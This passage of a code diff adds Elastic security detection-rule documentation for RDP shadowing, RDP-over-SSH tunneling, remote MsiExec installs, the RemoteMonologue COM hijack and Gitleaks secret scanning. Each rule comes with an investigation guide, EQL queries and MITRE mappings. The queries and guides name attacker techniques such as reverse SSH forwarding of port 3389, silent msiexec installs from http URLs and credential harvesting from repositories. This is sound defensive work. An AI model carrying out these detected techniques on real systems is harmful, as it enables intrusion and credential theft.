relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Remote Desktop Shadowing Activity* + + +Remote Desktop Shadowing allows administrators to view or control active RDP sessions, aiding in support and troubleshooting. However, adversaries can exploit this feature to monitor or hijack user sessions without consent. The detection rule identifies suspicious modifications to RDP Shadow registry settings and the execution of specific processes linked to shadowing, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the registry event details to confirm if there was a modification to the RDP Shadow registry path, specifically checking for changes in "HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow". +- Investigate the process events to identify if "RdpSaUacHelper.exe" or "RdpSaProxy.exe" were started by "svchost.exe", which could indicate unauthorized shadowing activity. +- Check for any instances of "mstsc.exe" being executed with the "/shadow:*" argument, as this could signify an attempt to shadow an RDP session. +- Correlate the identified processes and registry changes with user activity logs to determine if the actions were authorized or expected as part of legitimate administrative tasks. +- Analyze network logs for any unusual remote connections or lateral movement patterns that coincide with the timing of the detected shadowing activity. +- Consult endpoint security solutions like Microsoft Defender XDR or SentinelOne for additional context or alerts related to the same host or user account involved in the shadowing activity. + + +*False positive analysis* + + +- Legitimate administrative activities may trigger alerts when IT staff use RDP Shadowing for support. To manage this, create exceptions for known IT administrator accounts or specific IP addresses. +- Scheduled maintenance or automated scripts that modify RDP Shadow registry settings can be mistaken for malicious activity. Identify and exclude these processes or scripts from the detection rule. +- Security software or monitoring tools that interact with RDP sessions might mimic shadowing behavior. Verify these tools and whitelist their processes to prevent false alerts. +- Training sessions or remote support tools that use RDP Shadowing features can generate alerts. Document and exclude these activities by identifying their unique process names or arguments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified in the alert, such as RdpSaUacHelper.exe, RdpSaProxy.exe, or mstsc.exe with shadowing arguments, to stop potential session hijacking. +- Revert any unauthorized changes to the RDP Shadow registry settings to their default or secure state to prevent further exploitation. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized changes have been made, and reset passwords for any compromised accounts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for RDP activities across the network to detect and respond to similar threats more quickly in the future. +- Review and update RDP access policies and configurations to ensure they align with best practices, such as enforcing multi-factor authentication and limiting RDP access to only necessary users and systems. + +==== Rule query + + +[source, js] +---------------------------------- +/* Identifies the modification of RDP Shadow registry or + the execution of processes indicative of active shadow RDP session */ + +any where host.os.type == "windows" and +( + (event.category == "registry" and event.type == "change" and + registry.value : "Shadow" and + registry.path : ( + "*\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\Shadow" + ) and + registry.data.strings : ("1", "0x00000001", "2", "0x00000002", "3", "0x00000003", "4", "0x00000004") + + ) or + (event.category == "process" and event.type == "start" and + (process.name : ("RdpSaUacHelper.exe", "RdpSaProxy.exe") and process.parent.name : "svchost.exe") or + (?process.pe.original_file_name : "mstsc.exe" and process.args : "/shadow:*") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: RDP Hijacking +** ID: T1563.002 +** Reference URL: https://attack.mitre.org/techniques/T1563/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Screen Capture +** ID: T1113 +** Reference URL: https://attack.mitre.org/techniques/T1113/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-desktop-tunneling-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-desktop-tunneling-detected.asciidoc new file mode 100644 index 0000000000..74e27611cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-desktop-tunneling-detected.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-21-potential-remote-desktop-tunneling-detected]] +=== Potential Remote Desktop Tunneling Detected + +Identifies potential use of an SSH utility to establish RDP over an SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.netspi.com/how-to-access-rdp-over-a-reverse-ssh-tunnel/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 421 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Remote Desktop Tunneling Detected* + + + +*Possible investigation steps* + + +- Does the command line describe local or reverse forwarding of RDP, and who is being exposed through it? + - Why: tunnel direction changes the risk. "-L" accesses a remote RDP service through the tunnel (common admin pattern); "-R" exposes a host's RDP service outward through an attacker-controlled SSH server (the classic plink reverse-tunnel attack pattern). + - Focus: `process.command_line` and `process.executable`, checking whether the flag is "-L" (local) or "-R" (reverse), which host and port 3389 are forwarded, and whether inline credentials ("-pw") or saved sessions ("-load") are present. Many SSH clients ship unsigned, so use `process.Ext.relative_file_creation_time` to distinguish long-installed tools from recently dropped ones. + - Implication: "-R" (reverse forward) exposes an internal RDP service outward through the SSH server and is the higher-risk direction; "-L" (local forward) accesses a remote RDP service through the tunnel and is common in admin jump-host workflows. Both directions are common. Concern rises further when inline credentials are embedded, the remote endpoint is obscured behind a wrapper, or the binary is renamed, portable, or recently dropped. + +- Do surrounding artifacts show the operator seeded trust or tried to keep the tunnel reusable? + - Why: persistent tunnels are often paired with host-key trust, saved configuration, or scheduled relaunch so the tunnel can start non-interactively and survive user interruption. + - Focus: for OpenSSH clients, check `file.path` for recent changes to `~/.ssh/known_hosts`, `~/.ssh/config`, or `~/.ssh/authorized_keys`, and surrounding `process.command_line` for "schtasks.exe", "at.exe", or scripted relaunches. For PuTTY/plink, check `registry.path` and `registry.data.strings` for "SshHostKeys", "Sessions", or "-load" session reuse. + - Implication: more concerning when new host-key entries, saved configurations, or scheduled relaunch activity appear just before or after the tunnel start; more explainable when the trust cache and relaunch method already belong to an established workflow with no new persistence changes. + +- Does network telemetry show an SSH session to a destination that fits the expected workflow? + - Focus: the SSH destination is already in `process.args` from the alert. Use the network transform to confirm the connection succeeded and to check `destination.as.organization.name` for ownership context, especially for reverse forwards to external servers. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the command line already names an internal hostname you can verify, the network transform is optional. It adds the most value when the destination is an IP literal or an unfamiliar external host. + - Implication: supports concern when the process reaches a rare external destination, an unexpected SSH port, or infrastructure with no recognizable ownership; less concerning when the destination, port, and domain pattern fit a known bastion or jump host. Missing network telemetry is unresolved, not benign. + +- If the local evidence stays suspicious, does this host or user show related alerts or repeated tunneling activity? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours, looking for delivery, persistence, credential access, or other remote-access activity around the tunnel event. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: supports concern when the host or user shows delivery, credential theft, or follow-on remote-access alerts; keeps the case locally bounded when alert history stays tied to one recognized admin workflow. + +- Escalate when tunnel direction, binary context, persistence artifacts, network destination, or alert scope align on unauthorized RDP exposure or SSH tunneling; close only when all evidence fits a recognized administration workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Bastion or jump-host tunneling can legitimately trigger this rule. Confirm it when `process.executable`, `process.parent.executable`, the forwarding direction and target in `process.args`, and the `user.id`/`host.id` pairing all align with one recognized admin workflow. If records are unavailable, require the same binary path, parent, and tunnel pattern to recur across prior alerts. +- Before creating an exception, build on the forwarding target in `process.command_line` (e.g., the specific host and port being tunneled) combined with `process.executable`, `user.id`, and `host.id`. Most SSH clients triggering this rule are unsigned, so `process.code_signature.subject_name` is usually empty and `process.hash.sha256` changes with updates. Avoid exceptions on port 3389, `process.name`, or SSH switches alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary destination blocks or process suspension and document the evidence that proved the workflow, including `process.hash.sha256`, `process.parent.executable`, `process.command_line`, `destination.ip` or `dns.question.name`, any linked `source.ip`, and the bounded `user.id` and `host.id` scope. Create an exception only if that same workflow recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the full `process.command_line`, the alert's `process.entity_id`, `process.hash.sha256`, signer details, `destination.ip`, `dns.question.name`, linked `winlog.event_data.TargetLogonId` and `source.ip`, and any trust-seeding or relaunch artifacts (OpenSSH config files or PuTTY registry entries). Apply reversible containment first, such as blocking the SSH destination, suspending the tunneling process, or restricting the affected account. Escalate to host isolation only if the host role can tolerate it and the session or related-alert evidence suggests active abuse. +- If confirmed malicious, use endpoint response to isolate the host and terminate or suspend the tunneling process after recording `process.entity_id`, the parent chain, destination indicators, linked logon details, and any scheduled task, service, script, or registry artifacts that relaunch the tunnel. If direct endpoint response is unavailable, escalate with that artifact set to the team that can contain the host or account. +- Before deleting artifacts or resetting accounts, review other hosts and users for the same destination pattern, launcher lineage, or scheduled relaunch method so scoping is complete. Then remove the scheduled task, service, script, registry entries, and SSH client artifacts that sustained the tunnel, review any RDP-reachable systems for follow-on access, and reset credentials where the session review shows likely exposure or misuse. +- Post-incident hardening: restrict which hosts and accounts can run SSH tunneling tools, limit outbound SSH to recognized bastions, and retain process, file, and registry telemetry for SSH client activity. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + /* RDP port with SSH local or reverse port-forwarding flags */ + process.args : "*:3389" and process.args : ("-L", "-R") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-install-via-msiexec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-install-via-msiexec.asciidoc new file mode 100644 index 0000000000..aaf23ed21b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remote-install-via-msiexec.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-21-potential-remote-install-via-msiexec]] +=== Potential Remote Install via MsiExec + +Identifies attempts to install a file from a remote server using MsiExec. Adversaries may abuse Windows Installers for initial access and delivery of malware. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Remote Install via MsiExec* + + +MsiExec is a Windows utility for installing, maintaining, and removing software. Adversaries exploit it to execute malicious payloads by disguising them as legitimate installations. The detection rule identifies suspicious child processes spawned by MsiExec that initiate network activity, which is atypical for standard installations. By focusing on unusual executable paths and network connections, the rule helps uncover potential misuse indicative of malware delivery or initial access attempts. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes of the suspicious MsiExec activity, focusing on the process.entity_id and process.parent.name fields to understand the execution flow. +- Examine the process.executable path to determine if it deviates from typical installation paths, as specified in the query, to assess the likelihood of malicious activity. +- Analyze the network or DNS activity associated with the process by reviewing the event.category field for network or dns events, and correlate these with the process.name to identify any unusual or unauthorized connections. +- Check the process.args for any unusual or suspicious command-line arguments that might indicate an attempt to execute malicious payloads or scripts. +- Investigate the host's recent activity and security logs to identify any other indicators of compromise or related suspicious behavior, leveraging data sources like Elastic Defend, Sysmon, or SentinelOne as mentioned in the rule's tags. +- Assess the risk and impact of the detected activity by considering the context of the alert, such as the host's role in the network and any potential data exposure or system compromise. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they involve network activity. Users can create exceptions for known software update processes that are verified as safe. +- Custom enterprise applications that use MsiExec for deployment and require network access might be flagged. Identify these applications and exclude their specific executable paths from the rule. +- Automated deployment tools that utilize MsiExec and perform network operations could be misidentified. Review these tools and whitelist their processes to prevent false alerts. +- Security software or system management tools that leverage MsiExec for legitimate purposes may cause false positives. Confirm these tools' activities and add them to an exclusion list if necessary. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate software that may interact with MsiExec. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further malicious activity and lateral movement. +- Terminate the suspicious child process spawned by MsiExec to halt any ongoing malicious operations. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or remnants. +- Review and analyze the process execution and network activity logs to identify any additional indicators of compromise (IOCs) and assess the scope of the intrusion. +- Reset credentials and review access permissions for any accounts that may have been compromised or used during the attack. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and detection rules to identify similar threats in the future, focusing on unusual MsiExec activity and network connections. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "msiexec.exe" and process.args : ("-i*", "/i*", "-p*", "/p*") and process.command_line : "*http*" and + process.args : ("/qn", "-qn", "-q", "/q", "/quiet") and + process.parent.name : ("sihost.exe", "explorer.exe", "cmd.exe", "wscript.exe", "mshta.exe", "powershell.exe", "wmiprvse.exe", "pcalua.exe", "forfiles.exe", "conhost.exe") and + not process.command_line : ("*--set-server=*", "*UPGRADEADD=*" , "*--url=*", + "*USESERVERCONFIG=*", "*RCTENTERPRISESERVER=*", "*app.ninjarmm.com*", "*zoom.us/client*", + "*SUPPORTSERVERSTSURI=*", "*START_URL=*", "*AUTOCONFIG=*", "*awscli.amazonaws.com*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remotemonologue-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remotemonologue-attack.asciidoc new file mode 100644 index 0000000000..75d9160cad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-remotemonologue-attack.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-potential-remotemonologue-attack]] +=== Potential RemoteMonologue Attack + +Identifies attempt to perform session hijack via COM object registry modification by setting the RunAs value to Interactive User. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions#1 +* https://github.com/xforcered/RemoteMonologue + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential RemoteMonologue Attack* + + + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the RunAs value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent remote authentication attempts or sessions on the affected host to determine if this activity is associated with lateral movement or not. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. + + +*False positive analysis* + + +- Software updates or installations that modify COM settings. +- Automated scripts or management tools that adjust COM configurations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Modify the registry value back to its secure state, ensuring that "RunAs" value is not set to "Interactive User". +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and + registry.value == "RunAs" and registry.data.strings : "Interactive User" and + + not + ( + ( + process.executable : ( + "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.*\\MsMpEng.exe", + "C:\\Program Files\\Windows Defender\\MsMpEng.exe" + ) and + registry.path : "*\\SOFTWARE\\Classes\\AppID\\{1111A26D-EF95-4A45-9F55-21E52ADF9887}\\RunAs" + ) or + ( + process.executable : ( + "C:\\Program Files\\TeamViewer\\TeamViewer.exe", + "C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe" + ) and + registry.path : "*\\SOFTWARE\\Classes\\AppID\\{850A928D-5456-4865-BBE5-42635F1EBCA1}\\RunAs" + ) or + ( + process.executable : "C:\\Windows\\System32\\svchost.exe" and + registry.path : "*\\S-1-*Classes\\AppID\\{D3E34B21-9D75-101A-8C3D-00AA001A1652}\\RunAs" + ) or + ( + process.executable : "C:\\Windows\\System32\\SecurityHealthService.exe" and + registry.path : ( + "*\\SOFTWARE\\Classes\\AppID\\{1D278EEF-5C38-4F2A-8C7D-D5C13B662567}\\RunAs", + "*\\SOFTWARE\\Classes\\AppID\\{7E55A26D-EF95-4A45-9F55-21E52ADF9878}\\RunAs" + ) + ) or + ( + process.executable : "C:\\Windows\\System32\\SecurityHealthService.exe" and + registry.path : ( + "*\\SOFTWARE\\Classes\\AppID\\{1D278EEF-5C38-4F2A-8C7D-D5C13B662567}\\RunAs", + "*\\SOFTWARE\\Classes\\AppID\\{7E55A26D-EF95-4A45-9F55-21E52ADF9878}\\RunAs" + ) + ) or + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\VREGISTRY_*", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\VREGISTRY_*" + ) or + (process.executable : "C:\\windows\\System32\\msiexec.exe" and ?user.id : "S-1-5-18") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Component Object Model Hijacking +** ID: T1546.015 +** Reference URL: https://attack.mitre.org/techniques/T1546/015/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-secret-scanning-via-gitleaks.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-secret-scanning-via-gitleaks.asciidoc new file mode 100644 index 0000000000..974a8da8bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-secret-scanning-via-gitleaks.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-potential-secret-scanning-via-gitleaks]] +=== Potential Secret Scanning via Gitleaks + +This rule detects the execution of Gitleaks, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Secret Scanning via Gitleaks* + + +This alert fires when a host launches Gitleaks, a secret-scanning utility that hunts high-entropy strings and credentials in source code and repositories, signaling potential credential harvesting. An attacker may clone internal repos or traverse local workspace directories, drop a portable gitleaks binary in /tmp or %TEMP%, run recursive scans with wide rule sets and JSON output, then archive the results to exfiltrate tokens, API keys, and passwords for lateral movement and service impersonation. + + +*Possible investigation steps* + + +- Review the full command line to identify --path/--repo/--report/--format flags, which reveal scope and whether results are being written for exfiltration. +- Examine parent and ancestry plus user session to determine if it was launched by CI/dev tooling versus an interactive shell, and note execution from temp or unusual directories suggesting a dropped portable binary. +- Locate and inspect newly created artifacts (gitleaks.json, .sarif, .csv, zip archives) near the event time, confirm the presence of secrets, and map their sensitivity to affected systems. +- Correlate with network and data movement around the event for clones to internal repos and outbound transfers to cloud storage, paste sites, or email, and capture repository URLs or destinations if present. +- Trace how the binary arrived by checking recent downloads and file writes (curl/wget, package managers, GitHub releases), verify the binary’s hash and signer, and compare against known-good sources. + + +*False positive analysis* + + +- A developer or security team member intentionally runs gitleaks to audit internal code for secrets during routine hygiene, producing local report artifacts and showing normal parent processes without exfiltration behavior. +- A user invokes gitleaks with --version or --help to validate installation or review usage, which generates a process start event but performs no scanning or credential access. + + +*Response and remediation* + + +- If the run was unauthorized or executed from /tmp, %TEMP%, or a user profile, terminate gitleaks.exe/gitleaks, isolate the host from the network, and capture the binary path and hash for forensics. +- Quarantine report artifacts produced by the run (gitleaks.json, .sarif, .csv, and any zip archives) by securing copies for evidence, removing world-readable permissions, and deleting residual copies from the working directory, Downloads, repo folders, and CI workspaces after collection. +- Eradicate tooling by removing the dropped gitleaks binary and any wrapper scripts or CI job steps that invoke it, and enforce execution blocking for gitleaks in user-writable paths via application control or EDR policy. +- Immediately revoke and rotate any secrets confirmed in the reports or repository (cloud API keys, service tokens, SSH keys, credentials), purge them from repo history (git filter-repo/BFG) if present, redeploy updated secrets from the vault, and force password resets for affected accounts. +- Review git activity and data movement around the event for repo clones and exports, and inspect outbound transfers of report files to cloud storage, paste sites, or email; escalate to Incident Response and Legal if any report left the device or if production/customer credentials are exposed. +- Harden going forward by enabling approved server-side and CI secret scanning, enforcing pre-commit hooks, prohibiting PATs with broad scopes, restricting egress to paste/file-sharing sites, and blocking execution of portable binaries from temp and user-writable locations. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action like ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started", "Process Create*") and +process.name : ("gitleaks.exe", "gitleaks") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-secure-file-deletion-via-sdelete-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-secure-file-deletion-via-sdelete-utility.asciidoc new file mode 100644 index 0000000000..9bbed5bd4d --- 